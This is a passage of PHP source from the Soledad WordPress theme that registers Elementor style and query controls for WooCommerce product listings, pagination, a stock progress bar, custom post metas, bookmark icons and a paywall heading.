		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'product_cat_typo',
			'label'    => __( 'Product Category Typo', 'soledad' ),
			'selector' => '{{WRAPPER}} ul.products li.product .penci-product-cats a'
		) );

		$this->add_control( 'product_cat_color', array(
			'label'     => __( 'Product Category Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} ul.products li.product .penci-product-cats'   => 'color: {{VALUE}};',
				'{{WRAPPER}} ul.products li.product .penci-product-cats a' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'product_cat_hover_color', array(
			'label'     => __( 'Product Category Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} ul.products li.product .penci-product-cats a:hover' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'product_item_inner_color', array(
			'label'     => __( 'Product Inner Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .products.product-style-6 .penci-product-loop-inner-content' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'product_item_button_bg_color', array(
			'label'     => __( 'Product Buttons Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .products .penci-product-loop-button .button'                                                                             => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .products.icon-style-group:not(.product-style-7):not(.product-style-5) .penci-soledad-product .penci-product-loop-button' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'product_item_button_bg_hover_color', array(
			'label'     => __( 'Product Buttons Hover Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .products .penci-product-loop-button .button:hover'                                                                  => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} ul.products:not(.product-style-7):not(.product-style-5) .penci-soledad-product .penci-product-loop-button > a:hover' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'product_item_button_txt_color', array(
			'label'     => __( 'Product Buttons Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .products .penci-product-loop-button .button:before'                                                               => 'color: {{VALUE}};',
				'{{WRAPPER}} .products.product-style-7.icon-style-round .penci-product-loop-buttons .penci-product-loop-button a.button:before' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'product_item_button_txt_hover_color', array(
			'label'     => __( 'Product Buttons Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .products .penci-product-loop-button .button:hover:before'                                                               => 'color: {{VALUE}};',
				'{{WRAPPER}} .products.product-style-7.icon-style-round .penci-product-loop-buttons .penci-product-loop-button a.button:hover:before' => 'color: {{VALUE}};',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'product_item_button_txt_typo',
			'label'    => __( 'Add to Cart Typo', 'soledad' ),
			'selector' => '{{WRAPPER}} .products.product-style-5 .penci-product-loop-top .penci-product-loop-extra-buttons .button,
					{{WRAPPER}} .products.product-style-3 .penci-soledad-product .penci-product-loop-image a.button,
					{{WRAPPER}} .products.product-style-3 .penci-soledad-product a.add_to_cart_button,
					{{WRAPPER}} .products.product-style-4 .penci-product-loop-title .button
					',
		) );

		$this->add_control( 'product_item_button_txt_color_5', array(
			'label'     => __( 'Add to cart button color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .products.product-style-5 .penci-product-loop-top .penci-product-loop-extra-buttons .button' => 'color: {{VALUE}};',
				'{{WRAPPER}} .products.product-style-3 .penci-soledad-product .penci-product-loop-image a.button'         => 'color: {{VALUE}};',
				'{{WRAPPER}} .products.product-style-3 .penci-soledad-product a.add_to_cart_button'                       => 'color: {{VALUE}};',
				'{{WRAPPER}} .products.product-style-4 .penci-product-loop-title .button'                                 => 'color: {{VALUE}};',
			),
			'condition' => [
				'product_style' => [ 'style-5', 'style-3', 'style-4' ],
			],
		) );

		$this->add_control( 'product_item_button_txt_hover_color_5', array(
			'label'     => __( 'Add to cart button hover color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .products.product-style-5 .penci-product-loop-extra-buttons .button:hover'                 => 'color: {{VALUE}};',
				'{{WRAPPER}} .products.product-style-3 .penci-soledad-product .penci-product-loop-image a.button:hover' => 'color: {{VALUE}};',
				'{{WRAPPER}} .products.product-style-3 .penci-soledad-product a.add_to_cart_button:hover'               => 'color: {{VALUE}};',
				'{{WRAPPER}} .products.product-style-4 .penci-product-loop-title .button:hover'                         => 'color: {{VALUE}};',
			),
			'condition' => [
				'product_style' => [ 'style-5', 'style-3', 'style-4' ],
			],
		) );

		$this->add_control( 'product_item_button_bg_color_5', array(
			'label'     => __( 'Add to cart button background color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .products.product-style-5 .penci-product-loop-top .penci-product-loop-extra-buttons .button' => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .products.product-style-3 .penci-soledad-product .penci-product-loop-image a.button'         => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .products.product-style-3 .penci-soledad-product a.add_to_cart_button'                       => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .products.product-style-4 .penci-product-loop-title .button'                                 => 'background-color: {{VALUE}};',
			),
			'condition' => [
				'product_style' => [ 'style-5', 'style-3', 'style-4' ],
			],
		) );

		$this->add_control( 'product_item_button_bg_hover_color_5', array(
			'label'     => __( 'Add to cart button hover background color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .products.product-style-5 .penci-product-loop-top .penci-product-loop-extra-buttons .button:hover' => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .products.product-style-3 .penci-soledad-product .penci-product-loop-image a.button:hover'         => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .products.product-style-3 .penci-soledad-product a.add_to_cart_button:hover'                       => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .products.product-style-4 .penci-product-loop-title .button:hover'                                 => 'background-color: {{VALUE}};',
			),
			'condition' => [
				'product_style' => [ 'style-5', 'style-3', 'style-4' ],
			],
		) );

		$this->add_control( 'product_item_button_border_color_5', array(
			'label'     => __( 'Add to cart button border color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .products.product-style-5 .penci-product-loop-top .penci-product-loop-extra-buttons .button' => 'border-color: {{VALUE}};',
			),
			'condition' => [
				'product_style' => 'style-5',
			],
		) );

		$this->add_control( 'product_item_button_border_hover_color_5', array(
			'label'     => __( 'Add to cart button hover border color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .products.product-style-5 .penci-product-loop-top .penci-product-loop-extra-buttons .button:hover' => 'border-color: {{VALUE}};',
			),
			'condition' => [
				'product_style' => 'style-5',
			],
		) );

		$this->add_control( 'product_item_inner_align', array(
			'label'     => __( 'Product Inner Text Align', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => '',
			'options'   => array(
				'left'   => __( 'Left', 'soledad' ),
				'center' => __( 'Center', 'soledad' ),
				'right'  => __( 'Right', 'soledad' ),
			),
			'selectors' => array(
				'{{WRAPPER}} .products .penci-soledad-product .penci-product-loop-inner-content' => 'text-align: {{VALUE}};',
				'{{WRAPPER}} .products .penci-soledad-product .penci-product-loop-title'         => 'text-align: {{VALUE}};',
				'{{WRAPPER}} .products .penci-soledad-product .woocommerce-loop-product__title'  => 'text-align: {{VALUE}};',
				'{{WRAPPER}} .products .penci-soledad-product .penci-product-cats'               => 'text-align: {{VALUE}};',
				'{{WRAPPER}} .products .penci-soledad-product .price'                            => 'text-align: {{VALUE}};',
				'{{WRAPPER}} .products .penci-soledad-product .penci-swatches-list'              => 'justify-content: {{VALUE}};',
				'{{WRAPPER}} .products.product-style-4 .penci-product-loop-title .button'        => 'justify-content: {{VALUE}};',
			),
		) );

		$this->add_control( 'product_price_color', array(
			'label'     => __( 'Product Price Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} ul.products li.product .price' => 'color: {{VALUE}};',
			),
		) );

		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'product_price_typo',
			'label'    => __( 'Product Price Typo', 'soledad' ),
			'selector' => '{{WRAPPER}} ul.products li.product .price'
		) );

		$this->add_control( 'product_item_seperate_border_color', array(
			'label'     => __( 'Product Item List Separate Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .products.product-list .penci-soledad-product .penci-product-loop-inner-content' => 'border-bottom-color: {{VALUE}};',
			),
			'condition' => [
				'layout' => [ 'list' ],
			],
		) );

		$this->end_controls_section();

		/**
		 * Stock Progress Style
		 */

		$this->start_controls_section( 'products_design_stock_progress', [
			'label'     => esc_html__( 'Stock Progress Style', 'soledad' ),
			'tab'       => Controls_Manager::TAB_STYLE,
			'condition' => [ 'stock_progress_bar' => '1' ],
		] );

		$this->add_control( 'products_design_stock_progress_bg_color', array(
			'label'     => __( 'Stock Bar Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-stock-progress-bar .progress-area' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'products_design_stock_progress_bg_active_color', array(
			'label'     => __( 'Stock Bar Background Active Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-stock-progress-bar .progress-bar' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'products_design_stock_progress_height', array(
			'label'     => __( 'Stock Bar Height', 'soledad' ),
			'type'      => Controls_Manager::SLIDER,
			'range'     => array( 'px' => array( 'min' => 0, 'max' => 100, ) ),
			'selectors' => array(
				'{{WRAPPER}} .penci-stock-progress-bar .progress-area, {{WRAPPER}} .penci-stock-progress-bar .progress-bar' => 'height: {{SIZE}}px;',
			),
		) );

		$this->end_controls_section();

		/**
		 * Pagination Style
		 */

		$this->start_controls_section( 'products_design_style_pagination', [
			'label' => esc_html__( 'Pagination Style', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		] );

		$this->add_control( 'pagination_color', array(
			'label'     => __( 'Pagination Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} nav.woocommerce-pagination ul li a' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'pagination_bcolor', array(
			'label'     => __( 'Pagination Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} nav.woocommerce-pagination ul li a'                                                                      => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-owl-carousel-slider .penci-owl-dot span, {{WRAPPER}} .penci-related-carousel .penci-owl-dot span' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-woo-page-container .page-load-button .button'                                                     => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'pagination_bgcolor', array(
			'label'     => __( 'Pagination Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} nav.woocommerce-pagination ul li a'                                                                      => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel-slider .penci-owl-dot span, {{WRAPPER}} .penci-related-carousel .penci-owl-dot span' => 'background-color: {{VALUE}};'
			),
		) );

		$this->add_control( 'pagination_hcolor', array(
			'label'     => __( 'Pagination Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} nav.woocommerce-pagination ul li a:hover' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'pagination_hbcolor', array(
			'label'     => __( 'Pagination Border Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} nav.woocommerce-pagination ul li a:hover'                                                                            => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-owl-carousel-slider .penci-owl-dot span:hover, {{WRAPPER}} .penci-related-carousel .penci-owl-dot span:hover' => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-woo-page-container .page-load-button .button:hover'                                                           => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'pagination_cicolor', array(
			'label'     => __( 'Pagination Current Item Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} nav.woocommerce-pagination ul li span.current'                                                                                                => 'color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel-slider .penci-owl-dot.active span, body:not(.pcdm-enable) {{WRAPPER}} .penci-related-carousel .penci-owl-dot.active span' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'pagination_bicolor', array(
			'label'     => __( 'Pagination Current Item Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} nav.woocommerce-pagination ul li span.current'                                                                         => 'border-color: {{VALUE}};',
				'{{WRAPPER}} .penci-owl-carousel-slider .penci-owl-dot.active span, {{WRAPPER}} .penci-related-carousel .penci-owl-dot.active span' => 'border-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'pagination_bgicolor', array(
			'label'     => __( 'Pagination Current Item Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} nav.woocommerce-pagination ul li span.current'                                                                         => 'background-color: {{VALUE}};',
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-owl-carousel-slider .penci-owl-dot.active span, {{WRAPPER}} .penci-related-carousel .penci-owl-dot.active span' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'pagination_more_bgcolor', array(
			'label'     => __( 'Pagination View More Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-woo-page-container .page-load-button .button' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'pagination_more_bghcolor', array(
			'label'     => __( 'Pagination View More Background Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'body:not(.pcdm-enable) {{WRAPPER}} .penci-woo-page-container .page-load-button .button:hover' => 'background-color: {{VALUE}};',
			),
		) );

		$this->add_control( 'pagination_more_textcolor', array(
			'label'     => __( 'Pagination View More Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .page-load-button button.button'                     => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-woo-page-container .page-load-button .button' => 'color: {{VALUE}};',
			),
		) );

		$this->add_control( 'pagination_more_texthcolor', array(
			'label'     => __( 'Pagination View More Hover Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'default'   => '',
			'selectors' => array(
				'{{WRAPPER}} .page-load-button button.button:hover'                     => 'color: {{VALUE}};',
				'{{WRAPPER}} .penci-woo-page-container .page-load-button .button:hover' => 'color: {{VALUE}};',
			),
		) );

		$this->end_controls_section();
	}

	protected function register_custom_post_metas_groups() {
		$this->add_control( 'cspost_meta_heading', array(
			'label'     => __( 'Show Custom Post Metas', 'soledad' ),
			'type'      => Controls_Manager::HEADING,
			'separator' => 'before',
		) );
		$this->add_control( 'cspost_enable', array(
			'label' => __( 'Showing Custom Post Metas?', 'soledad' ),
			'type'  => Controls_Manager::SWITCHER,
		) );
		$this->add_control( 'cspost_cpost_meta', array(
			'label'     => __( 'Custom Post Meta Keys', 'soledad' ),
			'type'      => Controls_Manager::TEXT,
			'condition' => [ 'cspost_enable' => 'yes' ]
		) );
		$this->add_control( 'cspost_cpost_acf_meta', array(
			'label'       => __( 'Custom Post ACF Meta Keys', 'soledad' ),
			'type'        => Controls_Manager::SELECT2,
			'description' => __( 'You can show your own custom fields easily by using the <a href="https://wordpress.org/plugins/advanced-custom-fields/" target="_blank">Advanced Custom Fields</a> plugin.', 'soledad' ),
			'multiple'    => true,
			'options'     => penci_get_afc_fields(),
			'condition'   => [ 'cspost_enable' => 'yes' ]
		) );
		$this->add_control( 'cspost_cpost_meta_label', array(
			'label'     => __( 'Showing Custom Post Meta Label', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'condition' => [ 'cspost_enable' => 'yes' ]
		) );
		$this->add_control( 'cspost_cpost_meta_divider', array(
			'label'       => __( 'Custom Divider Between Meta Label & Meta Value', 'soledad' ),
			'label_block' => true,
			'type'        => Controls_Manager::TEXT,
			'value'       => ':',
			'condition'   => [ 'cspost_cpost_meta_label' => 'yes' ]
		) );
	}

	protected function register_query_section_controls( $showmeta = false, $condition = [] ) {

		$section_args = array(
			'label' => __( 'Query', 'soledad' ),
			'tab'   => Controls_Manager::TAB_CONTENT
		);

		if ( !empty( $condition ) ) {
			$section_args['condition'] = $condition;
		}

		$this->start_controls_section( 'section_query', $section_args );

		$this->add_group_control( Penci_Group_Control_Posts::get_type(), array(
			'name' => 'posts'
		) );

		$this->add_control( 'posts_per_page', array(
			'label'     => __( 'Posts Per Page', 'soledad' ),
			'type'      => Controls_Manager::NUMBER,
			'default'   => 6,
			'condition' => array( 'posts_post_type!' => array( 'by_id' ) ),
		) );

		$this->add_control( 'arposts_new', array(
			'label'       => __( 'Always Show Newest Posts', 'soledad' ),
			'type'        => Controls_Manager::SWITCHER,
			'description' => 'This option will be avoid page navigation',
			'condition'   => array( 'posts_post_type' => array( 'current_query' ) ),
		) );

		$this->add_control( 'orderby', array(
			'label'     => __( 'Order By', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'date',
			'options'   => array(
				'date'          => __( 'Published Date', 'soledad' ),
				'ID'            => __( 'Post ID', 'soledad' ),
				'modified'      => __( 'Modified Date', 'soledad' ),
				'title'         => __( 'Post Title', 'soledad' ),
				'rand'          => __( 'Random Posts', 'soledad' ),
				'comment_count' => __( 'Comment Count', 'soledad' ),
				'most_liked'    => __( 'Most Liked', 'soledad' ),
				'popular'       => __( 'Most Viewed Posts All Time', 'soledad' ),
				'popular_day'   => __( 'Most Viewed Posts Daily', 'soledad' ),
				'popular7'      => __( 'Most Viewed Posts Once Weekly', 'soledad' ),
				'popular_month' => __( 'Most Viewed Posts Once a Month', 'soledad' ),
				'metakey' 		=> __( 'Custom Meta Key', 'soledad' ),
			),
			'condition' => array( 'posts_post_type!' => array( 'current_query' ) ),
		) );

		$this->add_control( 'orderby_meta_key', array(
			'label'       => __( 'Custom Meta Key', 'soledad' ),
			'type'        => Controls_Manager::TEXT,
			'default'     => '',
			'description' => __( 'Enter the custom meta key to order by.', 'soledad' ),
			'condition'   => array( 'orderby' => 'metakey', 'posts_post_type!' => array( 'current_query' ) ),
		) );

		$this->add_control( 'order', array(
			'label'     => __( 'Order', 'soledad' ),
			'type'      => Controls_Manager::SELECT,
			'default'   => 'desc',
			'options'   => array(
				'asc'  => __( 'ASC', 'soledad' ),
				'desc' => __( 'DESC', 'soledad' )
			),
			'condition' => array( 'posts_post_type!' => array( 'current_query' ) ),
		) );

		$this->add_control( 'offset', array(
			'label'       => __( 'Offset', 'soledad' ),
			'type'        => Controls_Manager::NUMBER,
			'default'     => 0,
			'condition'   => array( 'posts_post_type!' => array( 'by_id' ) ),
			'description' => __( 'Use this setting to skip over posts (e.g. \'2\' to skip over 2 posts).', 'soledad' ),
		) );

		$this->add_control( 'avoid_duplicates', [
			'label'       => esc_html__( 'Avoid Duplicates', 'soledad' ),
			'type'        => Controls_Manager::SWITCHER,
			'default'     => '',
			'description' => esc_html__( 'Set to Yes to avoid duplicate posts from showing up. This only effects the frontend.', 'soledad' ),
			'condition'   => [
				'posts_post_type!' => [
					'by_id',
					'current_query',
				],
			],
		] );

		Module::add_exclude_controls( $this );

		if ( $showmeta ) {
			$this->register_custom_post_metas_groups();
		}

		$this->add_control( 'query_id', array(
			'label' => __( 'Query ID', 'soledad' ),
			'type'  => Controls_Manager::TEXT,
		) );

		$this->end_controls_section();
	}

	protected function register_penci_bookmark_style_groups() {
		if ( ! defined( 'PENCI_BL_VERSION' ) ) {
			return;
		}
		$this->start_controls_section( 'penci_bf_heading_01', [
			'label' => esc_html__( 'Bookmark Icon', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		] );
		$this->add_control( 'hide_bookmark_icon', [
			'label'     => esc_html__( 'Hide Bookmark Icon', 'soledad' ),
			'type'      => Controls_Manager::SWITCHER,
			'selectors' => array(
				'{{WRAPPER}} .penci-bf-follow-post-wrapper' => 'display: none !important;',
			),
		] );
		$this->add_responsive_control( 'penci_bf_icon_sizes', array(
			'label'      => __( 'Icon Size', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'range'      => array(
				'px' => array( 'min' => 0, 'max' => 2000 )
			),
			'condition'  => array( 'hide_bookmark_icon!' => 'yes' ),
			'size_units' => array( 'px' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-bf-follow-post-wrapper .pencibf-following-text:before'         => 'width: {{SIZE}}px;height: {{SIZE}}px;line-height: {{SIZE}}px;',
				'{{WRAPPER}} .penci-bf-follow-post-wrapper.loading .pencibf-following-text:before' => 'width: {{SIZE}}px;height: {{SIZE}}px;',
			),
		) );
		$this->add_responsive_control( 'penci_bf_icon_fsizes', array(
			'label'      => __( 'Icon Font Size', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'range'      => array(
				'px' => array( 'min' => 0, 'max' => 2000 )
			),
			'condition'  => array( 'hide_bookmark_icon!' => 'yes' ),
			'size_units' => array( 'px' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-bf-follow-post-wrapper .pencibf-following-text:before' => 'font-size: {{SIZE}}px;',
			),
		) );

		$this->add_responsive_control( 'penci_bf_icon_ssizes', array(
			'label'      => __( 'Icon Small Size', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'range'      => array(
				'px' => array( 'min' => 0, 'max' => 2000 )
			),
			'condition'  => array( 'hide_bookmark_icon!' => 'yes' ),
			'size_units' => array( 'px' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-bf-follow-post-wrapper.pcbf-size-small .pencibf-following-text:before'         => 'width: {{SIZE}}px;height: {{SIZE}}px;line-height: {{SIZE}}px;',
				'{{WRAPPER}} .penci-bf-follow-post-wrapper.pcbf-size-small.loading .pencibf-following-text:before' => 'width: {{SIZE}}px;height: {{SIZE}}px;',
			),
		) );
		$this->add_responsive_control( 'penci_bf_icon_sfsizes', array(
			'label'      => __( 'Icon Small Font Size', 'soledad' ),
			'type'       => Controls_Manager::SLIDER,
			'range'      => array(
				'px' => array( 'min' => 0, 'max' => 2000 )
			),
			'condition'  => array( 'hide_bookmark_icon!' => 'yes' ),
			'size_units' => array( 'px' ),
			'selectors'  => array(
				'{{WRAPPER}} .penci-bf-follow-post-wrapper.pcbf-size-small .pencibf-following-text:before' => 'font-size: {{SIZE}}px;',
			),
		) );

		$this->add_control( 'penci_bf_icon_border_color', array(
			'label'     => __( 'Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => array( 'hide_bookmark_icon!' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bf-follow-btn-wrapper .pencibf-following-text:before' => 'border-color: {{VALUE}};',
			),
		) );
		$this->add_control( 'penci_bf_icon_icon_color', array(
			'label'     => __( 'Icon Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => array( 'hide_bookmark_icon!' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bf-follow-btn-wrapper .pencibf-following-text:before' => 'color: {{VALUE}};',
			),
		) );
		$this->add_control( 'penci_bf_icon_bg_color', array(
			'label'     => __( 'Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => array( 'hide_bookmark_icon!' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bf-follow-btn-wrapper .pencibf-following-text:before' => 'background-color: {{VALUE}};',
			),
		) );
		// hover
		$this->add_control( 'penci_bf_icon_border_hvcolor', array(
			'label'     => __( 'Border Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => array( 'hide_bookmark_icon!' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bf-follow-btn-wrapper .pencibf-following-text:hover:before' => 'border-color: {{VALUE}};',
			),
		) );
		$this->add_control( 'penci_bf_icon_icon_hvcolor', array(
			'label'     => __( 'Icon Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => array( 'hide_bookmark_icon!' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bf-follow-btn-wrapper .pencibf-following-text:hover:before' => 'color: {{VALUE}};',
			),
		) );
		$this->add_control( 'penci_bf_icon_bg_hvcolor', array(
			'label'     => __( 'Background Hover Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => array( 'hide_bookmark_icon!' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bf-follow-btn-wrapper .pencibf-following-text:hover:before' => 'background-color: {{VALUE}};',
			),
		) );
		//selected
		$this->add_control( 'penci_bf_icon_border_svcolor', array(
			'label'     => __( 'Bookmarked Border Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => array( 'hide_bookmark_icon!' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bf-follow-btn-wrapper .penci-bf-following-button .pencibf-following-text:before' => 'border-color: {{VALUE}};',
			),
		) );
		$this->add_control( 'penci_bf_icon_icon_svcolor', array(
			'label'     => __( 'Bookmarked Icon Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => array( 'hide_bookmark_icon!' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bf-follow-btn-wrapper .penci-bf-following-button .pencibf-following-text:before' => 'color: {{VALUE}};',
			),
		) );
		$this->add_control( 'penci_bf_icon_bg_svcolor', array(
			'label'     => __( 'Bookmarked Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'condition' => array( 'hide_bookmark_icon!' => 'yes' ),
			'selectors' => array(
				'{{WRAPPER}} .penci-bf-follow-btn-wrapper .penci-bf-following-button .pencibf-following-text:before' => 'background-color: {{VALUE}};',
			),
		) );

		$this->end_controls_section();
	}

	protected function register_paywall_premium_heading_style_groups() {

		if ( ! defined( 'PENCI_PAYWALL' ) ) {
			return false;
		}

		$this->start_controls_section( 'paywall_heading_01', [
			'label' => esc_html__( 'Paywall Premium Post Title', 'soledad' ),
			'tab'   => Controls_Manager::TAB_STYLE,
		] );
		$this->add_control( 'paywall_heading_text_style', array(
			'label'   => __( 'Style', 'soledad' ),
			'type'    => Controls_Manager::SELECT,
			'default' => get_theme_mod( 'pencipw_premium_heading_style', 'text' ),
			'options' => array(
				'text' => __( 'Text', 'soledad' ),
				'btn'  => __( 'Button', 'soledad' )
			),
		) );
		$this->add_group_control( Group_Control_Typography::get_type(), array(
			'name'     => 'paywall_heading_text_typo',
			'label'    => __( 'Heading Prefix Text Typo', 'soledad' ),
			'selector' => '{{WRAPPER}} .pc-premium-post'
		) );
		$this->add_control( 'paywall_heading_text', array(
			'label'     => __( 'Heading Prefix Text', 'soledad' ),
			'type'      => Controls_Manager::TEXT,
			'default'   => 'Premium: ',
			'selectors' => array(
				'{{WRAPPER}} span.pc-premium-post:before' => 'content: "{{VALUE}}";',
			),
		) );
		$this->add_control( 'paywall_heading_text_cl', array(
			'label'     => __( 'Heading Prefix Text Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} span.pc-premium-post' => 'color: {{VALUE}};',
			),
		) );
		$this->add_control( 'paywall_heading_text_bgcl', array(
			'label'     => __( 'Heading Prefix Text Background Color', 'soledad' ),
			'type'      => Controls_Manager::COLOR,
			'selectors' => array(
				'{{WRAPPER}} span.pc-premium-post.btn' => 'background-color: {{VALUE}};',
			),
			'condition' => array( 'paywall_heading_text_style' => array( 'btn' ) ),
		) );
		$this->add_control( 'paywall_heading_text_pd', array(
			'label'     => __( 'Heading Prefix Text Padding', 'soledad' ),
			'type'      => Controls_Manager::DIMENSIONS,
			'selectors' => array(
				'{{WRAPPER}} span.pc-premium-post' => 'padding: {{TOP}}{{UNIT}} {{RIGHT}}{{UNIT}} {{BOTTOM}}{{UNIT}} {{LEFT}}{{UNIT}};',
			),
		) );
		$this->add_control( 'paywall_heading_text_mg', array(
			'label'     => __( 'Heading Prefix Text Margin', 'soledad' ),
